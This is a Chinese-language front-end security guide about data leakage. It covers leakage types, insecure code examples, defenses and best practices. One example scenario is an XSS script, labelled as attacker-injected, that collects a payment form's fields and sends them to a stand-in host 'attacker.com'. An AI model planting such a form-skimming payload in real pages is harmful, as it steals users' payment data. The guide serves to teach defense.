数据泄露

威胁描述

数据泄露是指敏感信息被未授权方获取的安全事件。在前端环境中，数据泄露通常发生在数据传输不安全、存储不当、或通过XSS、CSRF等攻击方式获取。数据泄露可能导致身份盗窃、财务损失、声誉损害和法律责任等严重后果。

类型分类

1. 传输层数据泄露

数据在客户端与服务器之间传输时被拦截或窃取。

2. 存储层数据泄露

敏感数据在客户端存储不安全，被攻击者获取。

3. 应用层数据泄露

通过应用程序漏洞（如XSS、CSRF）获取敏感数据。

4. 配置错误导致的数据泄露

因服务器或应用程序配置错误导致敏感数据暴露。

常见敏感数据

用户凭证（用户名、密码）
个人身份信息（姓名、身份证号、电话号码）
财务信息（信用卡号、银行账户）
健康信息
商业机密
认证令牌和API密钥

示例场景

1. 明文数据传输

// 不安全的代码：明文发送敏感数据
fetch('http://example.com/submit', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        creditCardNumber: '4111-1111-1111-1111',
        cvv: '123',
        expiry: '12/25'
    })
});

2. 敏感数据存储在localStorage

// 不安全的代码：将敏感数据存储在localStorage
localStorage.setItem('userData', JSON.stringify({
    name: 'John Doe',
    email: 'john@example.com',
    phone: '123-456-7890',
    ssn: '123-45-6789'
}));

3. 通过XSS窃取数据

// 攻击者注入的XSS代码
<script>
    // 窃取表单数据
    const formData = new FormData(document.getElementById('paymentForm'));
    const data = Object.fromEntries(formData.entries());
    // 发送到攻击者服务器
    fetch('https://attacker.com/steal', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    });
</script>

防御措施

1. 加密传输

使用HTTPS加密所有传输数据，特别是敏感信息：

// 使用HTTPS传输敏感数据
fetch('https://example.com/submit', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(sensitiveData)
});

2. 安全存储

不在客户端存储敏感数据。如果必须存储，使用安全的方式：

// 不存储敏感数据，只存储必要的非敏感信息
localStorage.setItem('userPreferences', JSON.stringify({
    theme: 'dark',
    language: 'en'
}));

3. 输入验证和过滤

对所有用户输入进行验证和过滤，防止注入攻击：

// 验证信用卡号格式
function validateCreditCard(number) {
    const creditCardRegex = /^\d{4}-\d{4}-\d{4}-\d{4}$/;
    return creditCardRegex.test(number);
}

4. 数据脱敏

在前端显示敏感数据时进行脱敏处理：

// 信用卡号脱敏
function maskCreditCard(number) {
    return number.replace(/^(\d{4}-\d{4}-\d{4})-(\d{4})$/, '$1-****');
}

// 显示脱敏后的信用卡号
const creditCardNumber = '4111-1111-1111-1111';
console.log(maskCreditCard(creditCardNumber)); // 4111-1111-1111-****

5. 安全配置

确保服务器和应用程序配置正确，避免敏感数据暴露：

禁用目录索引
限制错误信息暴露
配置适当的CORS策略

最佳实践

始终使用HTTPS加密传输敏感数据
- HTTPS通过TLS/SSL协议加密传输数据，防止中间人攻击和数据窃听。
- 确保所有包含敏感数据的通信（如登录、支付、个人信息提交）都使用HTTPS。
- 配置HTTP严格传输安全(HSTS)头部，强制浏览器使用HTTPS连接，防止SSL剥离攻击。
- 示例：设置HSTS头部：Strict-Transport-Security: max-age=31536000; includeSubDomains。
不在客户端存储敏感数据，如密码、信用卡号等
- 客户端存储（如localStorage、sessionStorage、Cookie）容易被XSS攻击窃取，不应存储敏感数据。
- 只存储必要的非敏感信息（如用户偏好设置），且对存储的信息进行适当加密。
- 对于需要持久化的用户认证，使用安全的令牌机制（如JWT），并设置适当的过期时间。
- 示例：存储用户偏好而非敏感数据：localStorage.setItem('userPreferences', JSON.stringify({ theme: 'dark', language: 'en' }))。
对敏感数据进行脱敏处理后再显示
- 脱敏处理可以防止敏感数据在前端显示时被他人窥视或通过截图、录像等方式泄露。
- 根据数据类型和敏感程度选择合适的脱敏方式，如部分替换、模糊处理等。
- 常见的脱敏场景包括信用卡号、身份证号、电话号码、邮箱地址等。
- 示例：信用卡号脱敏：function maskCreditCard(number) { return number.replace(/^(\d{4}-\d{4}-\d{4})-(\d{4})$/, '$1-****'); }。
实施严格的输入验证和过滤，防止注入攻击
- 输入验证可以确保用户输入的数据符合预期格式，防止恶意数据注入。
- 采用白名单验证策略，只允许明确允许的字符和格式，而非试图过滤掉危险字符。
- 对不同类型的输入使用不同的验证规则，如信用卡号、邮箱、手机号等应使用相应的正则表达式验证。
- 示例：验证信用卡号格式：function validateCreditCard(number) { const creditCardRegex = /^\d{4}-\d{4}-\d{4}-\d{4}$/; return creditCardRegex.test(number); }。
定期进行安全审计，检查是否存在数据泄露风险
- 安全审计可以发现潜在的数据泄露风险，及时采取措施修复。
- 审计内容包括：代码审查（查找敏感数据处理不当、硬编码密钥等）、渗透测试（尝试获取敏感数据）、配置检查（服务器配置、CORS策略等）。
- 使用自动化工具（如OWASP ZAP、Burp Suite）进行定期扫描，检测数据泄露漏洞。
- 示例：使用工具扫描代码库中的硬编码密钥：grep -r "api_key=" *.js。
遵循数据最小化原则，只收集和传输必要的数据
- 数据最小化可以减少数据泄露的影响范围，只收集和传输完成业务功能所需的最小数据集。
- 避免过度收集用户数据，特别是敏感数据（如不必要的身份证号、银行信息等）。
- 传输数据时仅包含必要字段，避免传输冗余信息。
- 示例：用户注册时只收集用户名、密码和邮箱，而非要求填写无关的个人信息。
实施访问控制，限制敏感数据的访问范围
- 访问控制确保只有授权用户和系统可以访问敏感数据，减少内部泄露风险。
- 采用基于角色的访问控制(RBAC)，为不同用户分配不同权限，限制敏感数据的访问。
- 对敏感API接口实施严格的认证和授权机制，防止未授权访问。
- 示例：管理员角色可以访问所有用户数据，普通用户只能访问自己的数据。
保持Web应用程序和依赖库的更新，以防止已知漏洞被利用
- 许多数据泄露事件是由于使用了存在安全问题的库或框架版本导致的，如Heartbleed漏洞、Log4j漏洞等。
- 及时更新Web应用程序和依赖库，修复已知的安全漏洞。
- 使用依赖管理工具（如npm、yarn）定期检查并更新存在安全隐患的依赖包。
- 示例：使用npm audit命令检查项目中的安全漏洞，并使用npm update更新存在漏洞的依赖包。
制定数据泄露响应计划，以便在发生泄露时快速应对
- 数据泄露响应计划可以帮助组织在发生数据泄露时迅速采取行动，减少损失。
- 响应计划应包括：泄露检测与确认、影响评估、 containment措施、通知相关方（用户、监管机构）、恢复与改进等步骤。
- 定期进行响应演练，确保相关人员熟悉流程，提高应对效率。
- 示例：响应计划中规定，发现数据泄露后应立即隔离受影响系统，24小时内通知用户，48小时内提交初步调查报告。

威胁描述​

类型分类​

1. 传输层数据泄露​

2. 存储层数据泄露​

3. 应用层数据泄露​

4. 配置错误导致的数据泄露​

常见敏感数据​

示例场景​

1. 明文数据传输​

2. 敏感数据存储在localStorage​

3. 通过XSS窃取数据​

防御措施​

1. 加密传输​

2. 安全存储​

3. 输入验证和过滤​

4. 数据脱敏​

5. 安全配置​

最佳实践​